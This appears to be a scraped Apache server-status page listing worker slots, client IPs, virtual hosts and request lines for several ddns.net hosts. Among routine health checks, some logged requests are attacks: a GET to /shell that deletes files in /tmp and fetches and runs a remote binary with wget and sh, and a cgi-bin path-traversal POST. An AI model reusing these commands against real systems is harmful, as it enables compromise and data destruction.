______.__.._..W................................................. ................................................................ ......................
Scoreboard Key:
"_
" Waiting for Connection,
"S
" Starting up,
"R
" Reading Request,
"W
" Sending Reply,
"K
" Keepalive (read),
"D
" DNS Lookup,
"C
" Closing connection,
"L
" Logging,
"G
" Gracefully finishing,
"I
" Idle cleanup of worker,
".
" Open slot with no current process
Srv | PID | Acc | M | CPU | SS | Req | Dur | Conn | Child | Slot | Client | Protocol | VHost | Request |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0-544 | 4139666 | 0/54/561743 | _ | 0.09 | 1674 | 0 | 1447227 | 0.0 | 0.23 | 1293.58 | 185.244.104.2 | http/1.1 | eu-admin-with-2.ddns.net:443 | PROPFIND / HTTP/1.1 |
1-544 | 4141092 | 0/40/501257 | _ | 0.06 | 1620 | 0 | 1249580 | 0.0 | 0.13 | 1173.19 | 152.32.226.8 | http/1.1 | default:80 | GET / HTTP/1.1 |
2-544 | 4141302 | 0/20/546058 | _ | 0.03 | 1904 | 42 | 1373029 | 0.0 | 0.05 | 1248.43 | 92.112.172.213 | http/1.1 | default:80 | POST / HTTP/1.1 |
3-544 | 4141311 | 0/23/529772 | _ | 0.03 | 943 | 0 | 1261686 | 0.0 | 0.05 | 1237.85 | 185.244.104.2 | http/1.1 | eu-admin-with-2.ddns.net:443 | PROPFIND / HTTP/1.1 |
4-544 | 4142225 | 0/60/453904 | _ | 0.04 | 455 | 0 | 1134996 | 0.0 | 0.06 | 1073.56 | 159.223.187.33 | http/1.1 | localhost:8080 | \x16\x03\x01\x01\xfc\x01 |
5-544 | 4142226 | 0/20/515388 | _ | 0.04 | 171 | 7 | 1279659 | 0.0 | 0.07 | 1226.21 | 216.73.216.33 | http/1.1 | eu-admin-with-2.ddns.net:443 | GET /phpinfo.php HTTP/1.1 |
6-544 | - | 0/0/513055 | . | 0.00 | 14685 | 0 | 1196138 | 0.0 | 0.00 | 1205.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
7-544 | 4143829 | 0/5/425228 | _ | 0.01 | 1618 | 0 | 1081167 | 0.0 | 0.01 | 876.49 | 152.32.226.8 | http/1.1 | default:80 | \x16\x03\x01 |
8-544 | 4139660 | 0/54/157545 | _ | 0.11 | 1618 | 0 | 471844 | 0.0 | 0.15 | 498.40 | 152.32.226.8 | http/1.1 | default:80 | t3 12.1.2\n |
9-543 | - | 0/0/152757 | . | 0.00 | 44031 | 0 | 646774 | 0.0 | 0.00 | 498.38 | 35.203.211.75 | http/1.1 | ||
10-544 | - | 0/0/158224 | . | 0.00 | 24713 | 0 | 646821 | 0.0 | 0.00 | 454.09 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
11-544 | 4139662 | 0/48/387778 | _ | 0.11 | 1623 | 0 | 820917 | 0.0 | 0.19 | 804.91 | 152.32.226.8 | http/1.1 | ||
12-543 | - | 0/0/384568 | . | 0.00 | 44031 | 0 | 815651 | 0.0 | 0.00 | 891.42 | 185.244.104.2 | http/1.1 | eu-admin-with-2.ddns.net:443 | PROPFIND / HTTP/1.1 |
13-544 | - | 0/0/128010 | . | 0.00 | 24712 | 0 | 293947 | 0.0 | 0.00 | 355.64 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
14-544 | 4139664 | 0/53/135066 | W | 0.08 | 0 | 0 | 293067 | 0.0 | 0.13 | 478.70 | 216.73.216.33 | http/1.1 | eu-admin-with-2.ddns.net:443 | GET /server-status HTTP/1.1 |
15-542 | - | 0/0/29331 | . | 0.00 | 130434 | 0 | 71634 | 0.0 | 0.00 | 137.35 | 127.0.0.1 | http/1.1 | localhost:8080 | POST /index.php HTTP/1.1 |
16-542 | - | 0/0/43966 | . | 0.00 | 166725 | 0 | 110289 | 0.0 | 0.00 | 91.02 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
17-542 | - | 0/0/7733 | . | 0.00 | 166709 | 0 | 53909 | 0.0 | 0.00 | 29.37 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
18-534 | - | 0/0/3992 | . | 0.00 | 882088 | 0 | 4776 | 0.0 | 0.00 | 21.66 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
19-534 | - | 0/0/5862 | . | 0.00 | 882096 | 0 | 16924 | 0.0 | 0.00 | 31.40 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
20-534 | - | 0/0/4197 | . | 0.00 | 882077 | 0 | 26184 | 0.0 | 0.00 | 20.13 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
21-524 | - | 0/0/3872 | . | 0.00 | 1685633 | 1 | 3993 | 0.0 | 0.00 | 20.14 | 127.0.0.1 | http/1.1 | localhost:8080 | POST /index.php HTTP/1.1 |
22-524 | - | 0/0/604 | . | 0.00 | 1721865 | 0 | 924 | 0.0 | 0.00 | 1.10 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
23-524 | - | 0/0/3699 | . | 0.00 | 1685633 | 1 | 20281 | 0.0 | 0.00 | 20.27 | 127.0.0.1 | http/1.1 | localhost:8080 | POST /index.php HTTP/1.1 |
24-524 | - | 0/0/913 | . | 0.00 | 1721864 | 0 | 1133 | 0.0 | 0.00 | 1.34 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
25-524 | - | 0/0/873 | . | 0.00 | 1721872 | 0 | 344 | 0.0 | 0.00 | 1.36 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
26-517 | - | 0/0/601 | . | 0.00 | 2301859 | 0 | 237 | 0.0 | 0.00 | 0.90 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
27-517 | - | 0/0/309 | . | 0.00 | 2301838 | 0 | 2054 | 0.0 | 0.00 | 0.73 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
28-517 | - | 0/0/569 | . | 0.00 | 2301837 | 0 | 230 | 0.0 | 0.00 | 1.51 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
29-517 | - | 0/0/389 | . | 0.00 | 2301847 | 0 | 10487 | 0.0 | 0.00 | 2.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
30-517 | - | 0/0/375 | . | 0.00 | 2301842 | 0 | 3308 | 0.0 | 0.00 | 0.95 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
31-517 | - | 0/0/121 | . | 0.00 | 2301846 | 0 | 31 | 0.0 | 0.00 | 0.31 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
32-517 | - | 0/0/446 | . | 0.00 | 2301874 | 0 | 3458 | 0.0 | 0.00 | 1.01 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
33-517 | - | 0/0/250 | . | 0.00 | 2301858 | 0 | 103 | 0.0 | 0.00 | 0.28 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
34-517 | - | 0/0/527 | . | 0.00 | 2301844 | 0 | 1319 | 0.0 | 0.00 | 1.11 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
35-517 | - | 0/0/262 | . | 0.00 | 2301833 | 0 | 134 | 0.0 | 0.00 | 0.42 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
36-517 | - | 0/0/92 | . | 0.00 | 2301832 | 0 | 22 | 0.0 | 0.00 | 0.09 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
37-517 | - | 0/0/275 | . | 0.00 | 2301835 | 0 | 41449 | 0.0 | 0.00 | 0.35 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
38-517 | - | 0/0/272 | . | 0.00 | 2301872 | 0 | 117 | 0.0 | 0.00 | 0.38 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
39-517 | - | 0/0/102 | . | 0.00 | 2301871 | 0 | 28 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
40-518 | - | 0/0/1049 | . | 0.00 | 2204031 | 0 | 1030 | 0.0 | 0.00 | 7.40 | 3.77.221.157 | http/1.1 | ||
41-517 | - | 0/0/117 | . | 0.00 | 2301829 | 0 | 36 | 0.0 | 0.00 | 0.11 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
42-518 | - | 0/0/1131 | . | 0.00 | 2204031 | 0 | 899 | 0.0 | 0.00 | 6.95 | 3.77.221.157 | http/1.1 | ||
43-517 | - | 0/0/108 | . | 0.00 | 2301830 | 0 | 28 | 0.0 | 0.00 | 0.13 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
44-517 | - | 0/0/60 | . | 0.00 | 2301828 | 0 | 14 | 0.0 | 0.00 | 0.07 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
45-517 | - | 0/0/161 | . | 0.00 | 2301831 | 0 | 49 | 0.0 | 0.00 | 0.17 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
46-517 | - | 0/0/54 | . | 0.00 | 2301834 | 0 | 13 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
47-517 | - | 0/0/60 | . | 0.00 | 2301827 | 0 | 15 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
48-517 | - | 0/0/40 | . | 0.00 | 2301826 | 0 | 13 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
49-517 | - | 0/0/95 | . | 0.00 | 2301825 | 0 | 77 | 0.0 | 0.00 | 0.17 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
50-518 | - | 0/0/1016 | . | 0.00 | 2204031 | 0 | 792 | 0.0 | 0.00 | 6.78 | 3.77.221.157 | http/1.1 | ||
51-517 | - | 0/0/177 | . | 0.00 | 2299650 | 0 | 136 | 0.0 | 0.00 | 1.14 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
52-517 | - | 0/0/170 | . | 0.00 | 2299651 | 0 | 132 | 0.0 | 0.00 | 1.12 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
53-518 | - | 0/0/1066 | . | 0.00 | 2204031 | 0 | 805 | 0.0 | 0.00 | 7.14 | 52.15.118.168 | http/1.1 | eu-admin-with-2.ddns.net:443 | GET / HTTP/1.1 |
54-517 | - | 0/0/113 | . | 0.00 | 2290434 | 0 | 84 | 0.0 | 0.00 | 0.26 | 197.58.252.92 | http/1.1 | ||
55-517 | - | 0/0/32 | . | 0.00 | 2290434 | 0 | 15 | 0.0 | 0.00 | 0.08 | 162.243.208.127 | http/1.1 | www-with-2.ddns.net:8001 | GET / HTTP/1.1 |
56-517 | - | 0/0/94 | . | 0.00 | 2301823 | 0 | 29 | 0.0 | 0.00 | 0.13 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
57-517 | - | 0/0/44 | . | 0.00 | 2301822 | 0 | 9 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
58-517 | - | 0/0/65 | . | 0.00 | 2290434 | 0 | 25 | 0.0 | 0.00 | 0.12 | 197.58.252.92 | http/1.1 | default:80 | GET /shell?cd+/tmp;rm+-rf+*;wget+ 213.209.150.159/jaws;sh+/tmp/ |
59-517 | - | 0/0/34 | . | 0.00 | 2301824 | 0 | 8 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
60-517 | - | 0/0/24 | . | 0.00 | 2290434 | 0 | 11 | 0.0 | 0.00 | 0.07 | 121.229.203.15 | http/1.1 | default:80 | POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e |
61-517 | - | 0/0/37 | . | 0.00 | 2301884 | 0 | 14 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
62-517 | - | 0/0/68 | . | 0.00 | 2301883 | 0 | 23 | 0.0 | 0.00 | 0.08 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
63-517 | - | 0/0/59 | . | 0.00 | 2301882 | 0 | 75 | 0.0 | 0.00 | 0.12 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
64-517 | - | 0/0/37 | . | 0.00 | 2301881 | 0 | 7 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
65-517 | - | 0/0/14 | . | 0.00 | 2301880 | 0 | 2 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
66-517 | - | 0/0/10 | . | 0.00 | 2301879 | 0 | 1 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
67-517 | - | 0/0/23 | . | 0.00 | 2301878 | 0 | 5 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
68-517 | - | 0/0/22 | . | 0.00 | 2301877 | 0 | 3 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
69-517 | - | 0/0/10 | . | 0.00 | 2301876 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
70-517 | - | 0/0/13 | . | 0.00 | 2301873 | 0 | 2 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
71-517 | - | 0/0/13 | . | 0.00 | 2301870 | 0 | 2 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
72-517 | - | 0/0/20 | . | 0.00 | 2301869 | 0 | 3 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
73-491 | - | 0/0/18 | . | 0.00 | 4578377 | 0 | 2 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
74-491 | - | 0/0/9 | . | 0.00 | 4578366 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
75-310 | - | 0/0/5 | . | 0.00 | 17864294 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
76-310 | - | 0/0/5 | . | 0.00 | 17864293 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
77-310 | - | 0/0/5 | . | 0.00 | 17864292 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
78-253 | - | 0/0/2 | . | 0.00 | 22004812 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
79-253 | - | 0/0/2 | . | 0.00 | 22004811 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
80-253 | - | 0/0/2 | . | 0.00 | 22004810 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
81-253 | - | 0/0/2 | . | 0.00 | 22004809 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
82-253 | - | 0/0/2 | . | 0.00 | 22004808 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
83-253 | - | 0/0/2 | . | 0.00 | 22004806 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
84-253 | - | 0/0/2 | . | 0.00 | 22004805 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
85-253 | - | 0/0/2 | . | 0.00 | 22004804 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
86-253 | - | 0/0/2 | . | 0.00 | 22004803 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
87-253 | - | 0/0/2 | . | 0.00 | 22004802 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
88-253 | - | 0/0/2 | . | 0.00 | 22004801 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
89-253 | - | 0/0/2 | . | 0.00 | 22004800 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
90-253 | - | 0/0/2 | . | 0.00 | 22004799 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
91-253 | - | 0/0/2 | . | 0.00 | 22004798 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
92-253 | - | 0/0/2 | . | 0.00 | 22004797 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
93-253 | - | 0/0/2 | . | 0.00 | 22004893 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
94-253 | - | 0/0/2 | . | 0.00 | 22004796 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
95-253 | - | 0/0/2 | . | 0.00 | 22004892 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
96-253 | - | 0/0/2 | . | 0.00 | 22004887 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
97-253 | - | 0/0/2 | . | 0.00 | 22004891 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
98-255 | - | 0/0/217 | . | 0.00 | 21816834 | 0 | 131 | 0.0 | 0.00 | 0.35 | 183.105.222.208 | http/1.1 | default:80 | GET / HTTP/1.1 |
99-253 | - | 0/0/2 | . | 0.00 | 22004890 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
100-253 | - | 0/0/10 | . | 0.00 | 21989634 | 0 | 3 | 0.0 | 0.00 | 0.00 | 119.203.176.81 | http/1.1 | default:80 | GET / HTTP/1.0 |
101-253 | - | 0/0/8 | . | 0.00 | 21989634 | 0 | 3 | 0.0 | 0.00 | 0.01 | 198.235.24.241 | http/1.1 | api-wddv-2.ddns.net:443 | GET / HTTP/1.1 |
102-253 | - | 0/0/2 | . | 0.00 | 22004889 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
103-253 | - | 0/0/12 | . | 0.00 | 21989634 | 0 | 5 | 0.0 | 0.00 | 0.01 | 125.231.229.164 | http/1.1 | api-wddv-2.ddns.net:8081 | GET / HTTP/1.0 |
104-253 | - | 0/0/9 | . | 0.00 | 21989634 | 0 | 6 | 0.0 | 0.00 | 0.02 | 51.254.59.113 | http/1.1 | default:80 | GET / HTTP/1.1 |
105-253 | - | 0/0/9 | . | 0.00 | 21989634 | 0 | 4 | 0.0 | 0.00 | 0.02 | 78.153.140.180 | http/1.1 | eu-admin-with-2.ddns.net:443 | POST / HTTP/1.1 |
106-253 | - | 0/0/2 | . | 0.00 | 22004888 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | api-wddv-2.ddns.net:8081 | OPTIONS * HTTP/1.0 |
Srv | Child Server number - generation |
---|---|
PID | OS process ID |
Acc | Number of accesses this connection / this child / this slot |
M | Mode of operation |
CPU | CPU usage, number of seconds |
SS | Seconds since beginning of most recent request |
Req | Milliseconds required to process most recent request |
Dur | Sum of milliseconds required to process all requests |
Conn | Kilobytes transferred this connection |
Child | Megabytes transferred this child |
Slot | Total megabytes transferred this slot |
SSL/TLS Session Cache Status: |
cache type: SHMCB, shared memory: 512000 bytes, current entries: 4 subcaches: 32, indexes per subcache: 88 time left on oldest entries' objects: avg: 211 seconds, (range: 122...299) index usage: 0%, cache usage: 0% total entries stored since starting: 361 total entries replaced since starting: 0 total entries expired since starting: 357 total (pre-expiry) entries scrolled out of the cache: 0 total retrieves since starting: 0 hit, 27 miss total removes since starting: 0 hit, 3 miss |